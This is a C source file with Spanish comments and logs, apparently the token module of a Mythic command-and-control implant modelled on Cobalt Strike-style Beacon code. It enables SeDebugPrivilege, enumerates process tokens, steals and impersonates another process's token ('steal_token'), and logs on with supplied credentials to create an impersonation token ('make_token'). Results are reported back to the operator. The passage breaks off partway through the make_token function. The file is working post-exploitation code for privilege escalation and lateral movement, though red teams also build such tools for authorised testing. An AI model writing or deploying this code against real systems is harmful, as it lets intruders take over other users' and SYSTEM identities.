#undef UNICODE
#include <windows.h>
#include "tokens.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "debug.h"
#include "angerona.h"  // For context tracking functions
#include <tlhelp32.h>
#include <psapi.h>

// Global token handle for impersonation (similar to Xenon's gIdentityToken)
static HANDLE gImpersonationToken = NULL;

// Forward declarations  
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano);

/**
 * @brief Enable SeDebugPrivilege to allow opening system processes
 * This is required to list tokens from SYSTEM and other high-privilege processes
 * Based on common Windows privilege escalation pattern
 */
BOOL EnableSeDebugPrivilege(VOID) {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tokenPriv = {0};
    LUID luid = {0};
    
    // Open the process token
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        _err("[EnableSeDebugPrivilege] No se pudo abrir token del proceso. Código: %lu", GetLastError());
        return FALSE;
    }
    
    // Lookup the LUID for SeDebugPrivilege
    if (!LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
        _err("[EnableSeDebugPrivilege] No se pudo buscar SeDebugPrivilege. Código: %lu", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }
    
    // Set up the privilege structure
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // Enable the privilege
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        _err("[EnableSeDebugPrivilege] No se pudo ajustar privilegios. Código: %lu", GetLastError());
        CloseHandle(hToken);
        return FALSE;
    }
    
    // Check if privilege was actually enabled
    DWORD lastError = GetLastError();
    if (lastError == ERROR_NOT_ALL_ASSIGNED) {
        _wrn("[EnableSeDebugPrivilege] SeDebugPrivilege no está disponible en este token");
        CloseHandle(hToken);
        return FALSE;
    }
    
    CloseHandle(hToken);
    _inf("[EnableSeDebugPrivilege] SeDebugPrivilege habilitado exitosamente");
    return TRUE;
}

/**
 * @brief List all available tokens from running processes
 * Reports tokens using addToken() helper for Mythic integration
 */
VOID ListarTokens(PAnalizador argumentos) {
    SIZE_T tamanoUuid = 36;
    UINT32 nbArg = getInt32(argumentos);
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, tareaUuid, FALSE);
    
    PPaquete salida = nuevoPaquete(0, FALSE);
    
    // Enable SeDebugPrivilege to access system processes
    BOOL debugEnabled = EnableSeDebugPrivilege();
    if (!debugEnabled) {
        PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Advertencia: No se pudo habilitar SeDebugPrivilege. Solo se mostrarán tokens accesibles.\n");
    }
    
    HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (toolhelp == INVALID_HANDLE_VALUE) {
        PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Error: No se pudo crear snapshot de procesos. Código: %lu\n", GetLastError());
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
        return;
    }
    
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    UINT32 token_counter = 1; // Start from 1 (agent-generated token_id)
    DWORD current_pid = GetCurrentProcessId();
    char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    DWORD hostname_len = sizeof(hostname);
    GetComputerNameA(hostname, &hostname_len);
    
    if (Process32First(toolhelp, &pe)) {
        do {
            // Skip current process to avoid issues
            if (pe.th32ProcessID == current_pid) {
                continue;
            }
            
            // Try with full access first (requires SeDebugPrivilege for system processes)
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
            if (!hProcess) {
                // Try with limited information if full access fails
                hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
                if (!hProcess) {
                    continue; // Skip if we can't open the process
                }
            }
            
            HANDLE hToken = NULL;
            if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
                char user_info[512] = {0};
                char account_name[256] = {0};
                char domain_name[256] = {0};
                
                BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
                if (got_user) {
                    // Parse user_info as "DOMAIN\USER"
                    char* backslash = strchr(user_info, '\\');
                    if (backslash) {
                        SIZE_T domain_len = backslash - user_info;
                        memcpy(domain_name, user_info, domain_len);
                        strcpy(account_name, backslash + 1);
                    } else {
                        strcpy(account_name, user_info);
                    }
                }
                
                DWORD session_id = 0;
                ProcessIdToSessionId(pe.th32ProcessID, &session_id);
                
                DWORD thread_id = 0; // We don't have thread info, use 0
                
                // Get token handle value (cast to UINT64)
                UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
                
                // Build output text first (include process name from pe.szExeFile)
                PackageAddFormatPrintf(salida, FALSE, 
                    "Token ID: %lu | PID: %lu | Process: %s | User: %s | Session: %lu\n",
                    token_counter, pe.th32ProcessID, pe.szExeFile, user_info, session_id);
                
                // Store token info for later (we'll add tokens after output)
                // For now, we'll add tokens after the output text
                
                token_counter++;
                
                CloseHandle(hToken);
            }
            
            CloseHandle(hProcess);
        } while (Process32Next(toolhelp, &pe));
    }
    
    // Add output text FIRST (before markers)
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Now add tokens AFTER output text
    // Re-iterate to add tokens (we need to do this again because we need the tokens after output)
    CloseHandle(toolhelp);
    token_counter = 1;
    toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (toolhelp == INVALID_HANDLE_VALUE) {
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(respuesta);
        return;
    }
    
    if (Process32First(toolhelp, &pe)) {
        do {
            if (pe.th32ProcessID == current_pid) {
                continue;
            }
            
            // Try with full access first (requires SeDebugPrivilege for system processes)
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
            if (!hProcess) {
                // Try with limited information if full access fails
                hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
                if (!hProcess) {
                    continue; // Skip if we can't open the process
                }
            }
            
            HANDLE hToken = NULL;
            if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
                char user_info[512] = {0};
                char account_name[256] = {0};
                char domain_name[256] = {0};
                
                BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
                if (got_user) {
                    char* backslash = strchr(user_info, '\\');
                    if (backslash) {
                        SIZE_T domain_len = backslash - user_info;
                        memcpy(domain_name, user_info, domain_len);
                        strcpy(account_name, backslash + 1);
                    } else {
                        strcpy(account_name, user_info);
                    }
                }
                
                DWORD session_id = 0;
                ProcessIdToSessionId(pe.th32ProcessID, &session_id);
                
                DWORD thread_id = 0;
                UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
                
                // Add token to response (AFTER output text)
                addToken(respuesta, token_counter, hostname, "", account_name, domain_name,
                         thread_id, pe.th32ProcessID, "", session_id, FALSE,
                         "", "", 0, 0, "", "", token_handle);
                
                token_counter++;
                
                CloseHandle(hToken);
            }
            
            CloseHandle(hProcess);
        } while (Process32Next(toolhelp, &pe));
    }
    
    CloseHandle(toolhelp);
    mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
}

/**
 * @brief Steal token from a process and impersonate it
 * Based on Xenon's TokenSteal implementation
 * Reference: https://github.com/kyxiaxiang/Beacon_Source/blob/main/Beacon/identity.c#L65
 */
VOID RobarToken(PAnalizador argumentos) {
    // For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);
    
    // Enable SeDebugPrivilege to access system processes
    BOOL debugEnabled = EnableSeDebugPrivilege();
    if (!debugEnabled) {
        _wrn("[steal_token] No se pudo habilitar SeDebugPrivilege. Puede fallar con procesos del sistema.");
    }
    
    if (nbArg < 1) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: Se requiere PID\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // PID comes as a string parameter (input_type=string means all params are strings)
    SIZE_T pid_len = 0;
    PCHAR pid_str = getString(argumentos, &pid_len);
    
    // Convert PID string to integer
    UINT32 pid = 0;
    if (pid_str && pid_len > 0) {
        // Null-terminate the PID string for atoi
        char pid_buffer[32] = {0};
        SIZE_T copy_len = (pid_len < sizeof(pid_buffer) - 1) ? pid_len : sizeof(pid_buffer) - 1;
        memcpy(pid_buffer, pid_str, copy_len);
        pid_buffer[copy_len] = '\0';
        pid = (UINT32)atoi(pid_buffer);
        _inf("[steal_token] PID string recibido: '%.*s', convertido a: %lu", (int)pid_len, pid_str, pid);
        if (pid_str) {
            LocalFree(pid_str);
        }
    } else {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo leer PID del buffer\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    _inf("[steal_token] Intentando robar token del PID: %lu", pid);
    
    // Validate PID (Windows PIDs typically start from 4, with 4 being System)
    if (pid == 0 || pid == 2) {
        // PID 0 and 2 are reserved/invalid
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: PID %lu no es válido (PIDs 0 y 2 están reservados)\n", pid);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Open process - Xenon uses PROCESS_QUERY_INFORMATION
    // Try with PROCESS_QUERY_INFORMATION first (requires SeDebugPrivilege for system processes)
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (!hProcess) {
        DWORD firstError = GetLastError();
        _wrn("[steal_token] OpenProcess con PROCESS_QUERY_INFORMATION falló. Código: %lu. Intentando con PROCESS_QUERY_LIMITED_INFORMATION", firstError);
        
        // Try with limited information
        hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
        if (!hProcess) {
            DWORD finalError = GetLastError();
            _err("[steal_token] No se pudo abrir proceso %lu. Primer intento (PROCESS_QUERY_INFORMATION): %lu, segundo intento (PROCESS_QUERY_LIMITED_INFORMATION): %lu", pid, firstError, finalError);
        
            PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
            addString(respuestaError, tareaUuid, FALSE);
            PPaquete salidaError = nuevoPaquete(0, FALSE);
            PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir proceso %lu. Código: %lu (Intentos: PROCESS_QUERY_INFORMATION=%lu, PROCESS_QUERY_LIMITED_INFORMATION=%lu)\n", pid, finalError, firstError, finalError);
            addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
            mandarPaquete(respuestaError);
            liberarPaquete(salidaError);
            liberarPaquete(respuestaError);
            return;
        } else {
            _inf("[steal_token] Proceso abierto con PROCESS_QUERY_LIMITED_INFORMATION");
        }
    } else {
        _inf("[steal_token] Proceso abierto con PROCESS_QUERY_INFORMATION");
    }
    
    // Open token - Xenon uses TOKEN_ALL_ACCESS (requires SeDebugPrivilege for system processes)
    HANDLE hToken = NULL;
    DWORD desiredAccess = debugEnabled ? TOKEN_ALL_ACCESS : (TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE);
    
    _inf("[steal_token] Intentando abrir token con acceso: 0x%08lX (debugEnabled=%d)", desiredAccess, debugEnabled);
    
    if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
        DWORD firstError = GetLastError();
        _wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, firstError);
        
        // If TOKEN_ALL_ACCESS failed, try with granular permissions
        if (desiredAccess == TOKEN_ALL_ACCESS) {
            desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE;
            _inf("[steal_token] Intentando con acceso granular: 0x%08lX", desiredAccess);
            if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
                DWORD secondError = GetLastError();
                _wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, secondError);
                
                desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY;
                _inf("[steal_token] Intentando con acceso mínimo: 0x%08lX", desiredAccess);
                if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
                    DWORD finalError = GetLastError();
                    CloseHandle(hProcess);
                    _err("[steal_token] Todos los intentos de OpenProcessToken fallaron. Primer error: %lu, segundo: %lu, final: %lu", firstError, secondError, finalError);
                    
                    PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
                    addString(respuestaError, tareaUuid, FALSE);
                    PPaquete salidaError = nuevoPaquete(0, FALSE);
                    PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu (Intentos: TOKEN_ALL_ACCESS=%lu, TOKEN_DUPLICATE|QUERY|IMPERSONATE=%lu, TOKEN_DUPLICATE|QUERY=%lu)\n", finalError, firstError, secondError, finalError);
                    addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
                    mandarPaquete(respuestaError);
                    liberarPaquete(salidaError);
                    liberarPaquete(respuestaError);
                    return;
                }
            }
        } else {
            CloseHandle(hProcess);
            _err("[steal_token] OpenProcessToken falló. Código: %lu", firstError);
            
            PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
            addString(respuestaError, tareaUuid, FALSE);
            PPaquete salidaError = nuevoPaquete(0, FALSE);
            PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu\n", firstError);
            addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
            mandarPaquete(respuestaError);
            liberarPaquete(salidaError);
            liberarPaquete(respuestaError);
            return;
        }
    }
    
    _inf("[steal_token] Token abierto exitosamente con acceso: 0x%08lX", desiredAccess);
    
    // Revert any existing impersonation FIRST (like Xenon's IdentityAgentRevertToken)
    if (gImpersonationToken) {
        RevertToSelf();
        CloseHandle(gImpersonationToken);
        gImpersonationToken = NULL;
        _inf("[steal_token] Revertido a token original antes de robar nuevo.");
    }
    
    // Step 1: Impersonate the process token directly first (Xenon approach)
    if (!ImpersonateLoggedOnUser(hToken)) {
        DWORD error = GetLastError();
        CloseHandle(hToken);
        CloseHandle(hProcess);
        _err("[steal_token] No se pudo impersonar token del proceso. Código: %lu", error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token del proceso. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Step 2: Duplicate the ORIGINAL token (not the impersonated one) as TokenPrimary
    // Xenon uses MAXIMUM_ALLOWED, SecurityDelegation, and TokenPrimary
    HANDLE hDupToken = NULL;
    if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gImpersonationToken)) {
        DWORD error = GetLastError();
        RevertToSelf(); // Revert the temporary impersonation
        CloseHandle(hToken);
        CloseHandle(hProcess);
        _err("[steal_token] No se pudo duplicar token. Código: %lu", error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo duplicar token. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Step 3: Impersonate the duplicated token (Xenon approach)
    if (!ImpersonateLoggedOnUser(gImpersonationToken)) {
        DWORD error = GetLastError();
        RevertToSelf(); // Revert the temporary impersonation
        CloseHandle(gImpersonationToken);
        gImpersonationToken = NULL;
        CloseHandle(hToken);
        CloseHandle(hProcess);
        _err("[steal_token] No se pudo impersonar token duplicado. Código: %lu", error);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token duplicado. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Close handles (Xenon closes hProcess first, then hToken)
    CloseHandle(hProcess);
    if (hToken) {
        CloseHandle(hToken);
    }
    
    // Get account name from the duplicated token
    char account_name[512] = {0};
    if (!IdentityGetUserInfo(gImpersonationToken, account_name, sizeof(account_name))) {
        strcpy(account_name, "Unknown");
    }
    
    // Generate token_id (use PID for simplicity)
    UINT32 token_id = pid;
    
    // Register token with callback for use in tasking
    char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    DWORD hostname_len = sizeof(hostname);
    GetComputerNameA(hostname, &hostname_len);
    
    // Update global impersonation context
    setImpersonationContext(account_name);
    _inf("[steal_token] Contexto de impersonación actualizado: %s", account_name);
    
    PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuestaFinal, tareaUuid, FALSE);
    PPaquete salidaFinal = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salidaFinal, FALSE, "[steal_token] Token robado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
    addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
    
    // Add artifact for token impersonation
    char artifact_msg[512] = {0};
    snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
    addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
    
    // Add callback context with impersonation_context
    addCallbackContext(respuestaFinal, "impersonation_context", account_name);
    
    // Add callback token registration
    addCallbackToken(respuestaFinal, "add", hostname, token_id);
    
    mandarPaquete(respuestaFinal);
    liberarPaquete(salidaFinal);
    liberarPaquete(respuestaFinal);
}

/**
 * @brief Create token using credentials and impersonate it
 * Based on Xenon's TokenMake implementation
 */
VOID CrearToken(PAnalizador argumentos) {
    // For input_type=string commands, format is: [UUID:36 bytes fixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
    // UUID is 36 bytes fixed (no length prefix), same as steal_token
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    UINT32 nbArg = getInt32(argumentos);
    
    // Ensure UUID is null-terminated for addString (same as screenshot)
    CHAR uuidBuffer[37] = {0};
    if (tareaUuid && tamanoUuid == 36) {
        memcpy(uuidBuffer, tareaUuid, 36);
        uuidBuffer[36] = '\0';
        if (tareaUuid != uuidBuffer) {
            LocalFree(tareaUuid); // Free original UUID string
        }
        tareaUuid = uuidBuffer;
        _inf("[make_token] UUID recibido: %s (length: %zu)", tareaUuid, tamanoUuid);
    } else {
        _err("[make_token] UUID inválido (len=%zu)", tamanoUuid);
        if (tareaUuid) {
            LocalFree(tareaUuid);
        }
        // Use placeholder if UUID is invalid
        memcpy(uuidBuffer, "00000000-0000-0000-0000-000000000000", 36);
        tareaUuid = uuidBuffer;
    }
    
    if (nbArg < 3) {
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: Se requieren dominio, usuario y contraseña\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    SIZE_T domain_len = 0;
    SIZE_T user_len = 0;
    SIZE_T pass_len = 0;
    PCHAR domain = getString(argumentos, &domain_len);
    PCHAR user = getString(argumentos, &user_len);
    PCHAR password = getString(argumentos, &pass_len);
    
    // Validate that all required strings were read
    if (!domain || !user || !password) {
        _err("[make_token] Error leyendo parámetros: domain=%p, user=%p, password=%p", domain, user, password);
        if (domain) LocalFree(domain);
        if (user) LocalFree(user);
        if (password) LocalFree(password);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudieron leer los parámetros\n");
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // logon_type comes as a string parameter (input_type=string means all params are strings)
    UINT32 logon_type = 9; // Default: LOGON32_LOGON_NEW_CREDENTIALS
    if (nbArg >= 4) {
        SIZE_T logon_type_len = 0;
        PCHAR logon_type_str = getString(argumentos, &logon_type_len);
        
        if (logon_type_str && logon_type_len > 0) {
            // Null-terminate the logon_type string for atoi
            char logon_type_buffer[32] = {0};
            SIZE_T copy_len = (logon_type_len < sizeof(logon_type_buffer) - 1) ? logon_type_len : sizeof(logon_type_buffer) - 1;
            memcpy(logon_type_buffer, logon_type_str, copy_len);
            logon_type_buffer[copy_len] = '\0';
            logon_type = (UINT32)atoi(logon_type_buffer);
            _inf("[make_token] logon_type string recibido: '%.*s', convertido a: %lu", (int)logon_type_len, logon_type_str, logon_type);
            if (logon_type_str) {
                LocalFree(logon_type_str);
            }
        } else {
            _wrn("[make_token] No se pudo leer logon_type, usando default: 9");
        }
    }
    
    // Convert empty domain, ".", or "\" to local computer name for local users
    // LogonUserA requires the hostname (computer name) for local users, not NULL
    PCHAR domain_for_logon = domain;
    BOOL is_local_user = FALSE;
    CHAR computer_name[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    DWORD computer_name_len = sizeof(computer_name);
    
    // Check if this is a local user:
    // - domain is NULL
    // - domain is empty string (length 0 or strlen == 0)
    // - domain is "." or "\" or "\\" (single or double backslash)
    BOOL is_empty_or_local = FALSE;
    if (!domain) {
        is_empty_or_local = TRUE;
        _inf("[make_token] Dominio es NULL, usuario local detectado");
    } else {
        _inf("[make_token] Dominio recibido: '%s' (length=%zu, strlen=%zu)", domain, domain_len, strlen(domain));
        if (domain_len == 0 || strlen(domain) == 0) {
            is_empty_or_local = TRUE;
            _inf("[make_token] Dominio está vacío (length=%zu), usuario local detectado", domain_len);
        } else if (strcmp(domain, ".") == 0 || strcmp(domain, "\\") == 0 || strcmp(domain, "\\\\") == 0) {
            is_empty_or_local = TRUE;
            _inf("[make_token] Dominio es '.' o '\\' o '\\\\', usuario local detectado");
        }
    }
    
    if (is_empty_or_local) {
        // Get computer name for local user logon
        if (GetComputerNameA(computer_name, &computer_name_len)) {
            domain_for_logon = computer_name;
            is_local_user = TRUE;
            _inf("[make_token] Usuario local detectado, usando nombre del equipo '%s' como dominio", computer_name);
        } else {
            _err("[make_token] Error: No se pudo obtener nombre del equipo. Código: %lu", GetLastError());
            domain_for_logon = NULL; // Fallback - will likely fail but try anyway
            is_local_user = TRUE;
        }
    }
    
    // LOGON32_LOGON_NEW_CREDENTIALS (9) requires a valid domain
    // Since we're using the hostname (computer name) as the domain, NEW_CREDENTIALS (9) should work
    // However, if running from SYSTEM context, INTERACTIVE (2) might be needed
    // Keep the original logon_type - don't automatically adjust it
    // The hostname is a valid domain, so NEW_CREDENTIALS (9) should work
    
    _inf("[make_token] nbArg=%lu, logon_type=%lu (hostname='%s' como dominio)", nbArg, logon_type, domain_for_logon ? domain_for_logon : "NULL");
    _inf("[make_token] Creando token para: %s\\%s (LogonType: %lu)", domain_for_logon ? domain_for_logon : "(local)", user ? user : "(null)", logon_type);
    
    // Save current impersonation token to restore if LogonUserA fails
    HANDLE previousToken = gImpersonationToken;
    BOOL hadImpersonation = (previousToken != NULL);
    
    // Revert any existing impersonation before attempting new logon
    if (gImpersonationToken) {
        RevertToSelf();
        // Don't close previousToken yet - we might need to restore it
        gImpersonationToken = NULL;
    }
    
    HANDLE hToken = NULL;
    DWORD provider = (logon_type == 9) ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT; // LOGON32_LOGON_NEW_CREDENTIALS = 9
    
    _inf("[make_token] Llamando LogonUserA(user='%s', domain=%s, password='%s', logon_type=%lu, provider=%lu)", 
         user ? user : "(null)", 
         domain_for_logon ? domain_for_logon : "NULL", 
         password ? (strlen(password) > 0 ? "[SET]" : "[EMPTY]") : "(null)",
         logon_type, provider);
    
    if (!LogonUserA(user, domain_for_logon, password, logon_type, provider, &hToken)) {
        DWORD error = GetLastError();
        _err("[make_token] LogonUserA falló. Código: %lu (ERROR_INVALID_PARAMETER=87, ERROR_LOGON_FAILURE=1326)", error);
        
        // Provide helpful error messages for common cases
        if (error == 87) {
            _err("[make_token] ERROR_INVALID_PARAMETER (87): Verifica logon_type y provider. Para usuarios locales, usa logon_type=2 (INTERACTIVE)");
        } else if (error == 1326) {
            _err("[make_token] ERROR_LOGON_FAILURE (1326): Credenciales incorrectas o usuario no existe");
            _err("[make_token] Sugerencia: Verifica que el usuario '%s' existe y que la contraseña es correcta", user ? user : "(null)");
            if (is_local_user) {
                _err("[make_token] Para usuarios locales, asegúrate de usar el nombre del equipo como dominio (ej: '%s\\%s')", domain_for_logon ? domain_for_logon : "HOSTNAME", user ? user : "USER");
            }
        } else if (error == 1311) {
            _err("[make_token] ERROR_NO_SUCH_LOGON_SESSION (1311): No hay sesión de logon disponible");
        } else if (error == 1392) {
            _err("[make_token] ERROR_INVALID_NETNAME (1392): El formato del nombre de usuario o dominio es incorrecto");
        }
        
        // Restore previous impersonation if it existed
        if (hadImpersonation && previousToken) {
            _inf("[make_token] Restaurando impersonación anterior tras fallo");
            if (ImpersonateLoggedOnUser(previousToken)) {
                gImpersonationToken = previousToken;
                _inf("[make_token] Impersonación anterior restaurada");
            } else {
                _wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
                CloseHandle(previousToken);
            }
        } else if (previousToken) {
            // Had token but couldn't restore, close it
            CloseHandle(previousToken);
        }
        
        LocalFree(domain);
        LocalFree(user);
        LocalFree(password);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo crear token. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Try to impersonate the newly created token
    if (!ImpersonateLoggedOnUser(hToken)) {
        DWORD error = GetLastError();
        CloseHandle(hToken);
        _err("[make_token] No se pudo impersonar token. Código: %lu", error);
        
        // Restore previous impersonation if it existed
        if (hadImpersonation && previousToken) {
            _inf("[make_token] Restaurando impersonación anterior tras fallo de ImpersonateLoggedOnUser");
            if (ImpersonateLoggedOnUser(previousToken)) {
                gImpersonationToken = previousToken;
                _inf("[make_token] Impersonación anterior restaurada");
            } else {
                _wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
                CloseHandle(previousToken);
            }
        } else if (previousToken) {
            // Had token but couldn't restore, close it
            CloseHandle(previousToken);
        }
        
        LocalFree(domain);
        LocalFree(user);
        LocalFree(password);
        
        PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
        addString(respuestaError, tareaUuid, FALSE);
        PPaquete salidaError = nuevoPaquete(0, FALSE);
        PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo impersonar. Código: %lu\n", error);
        addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
        mandarPaquete(respuestaError);
        liberarPaquete(salidaError);
        liberarPaquete(respuestaError);
        return;
    }
    
    // Successfully impersonated new token, now safe to close previous token
    if (previousToken) {
        CloseHandle(previousToken);
    }
    
    // Store token
    gImpersonationToken = hToken;
    
    // Get account name
    HANDLE hCurrentProcess = GetCurrentProcess();
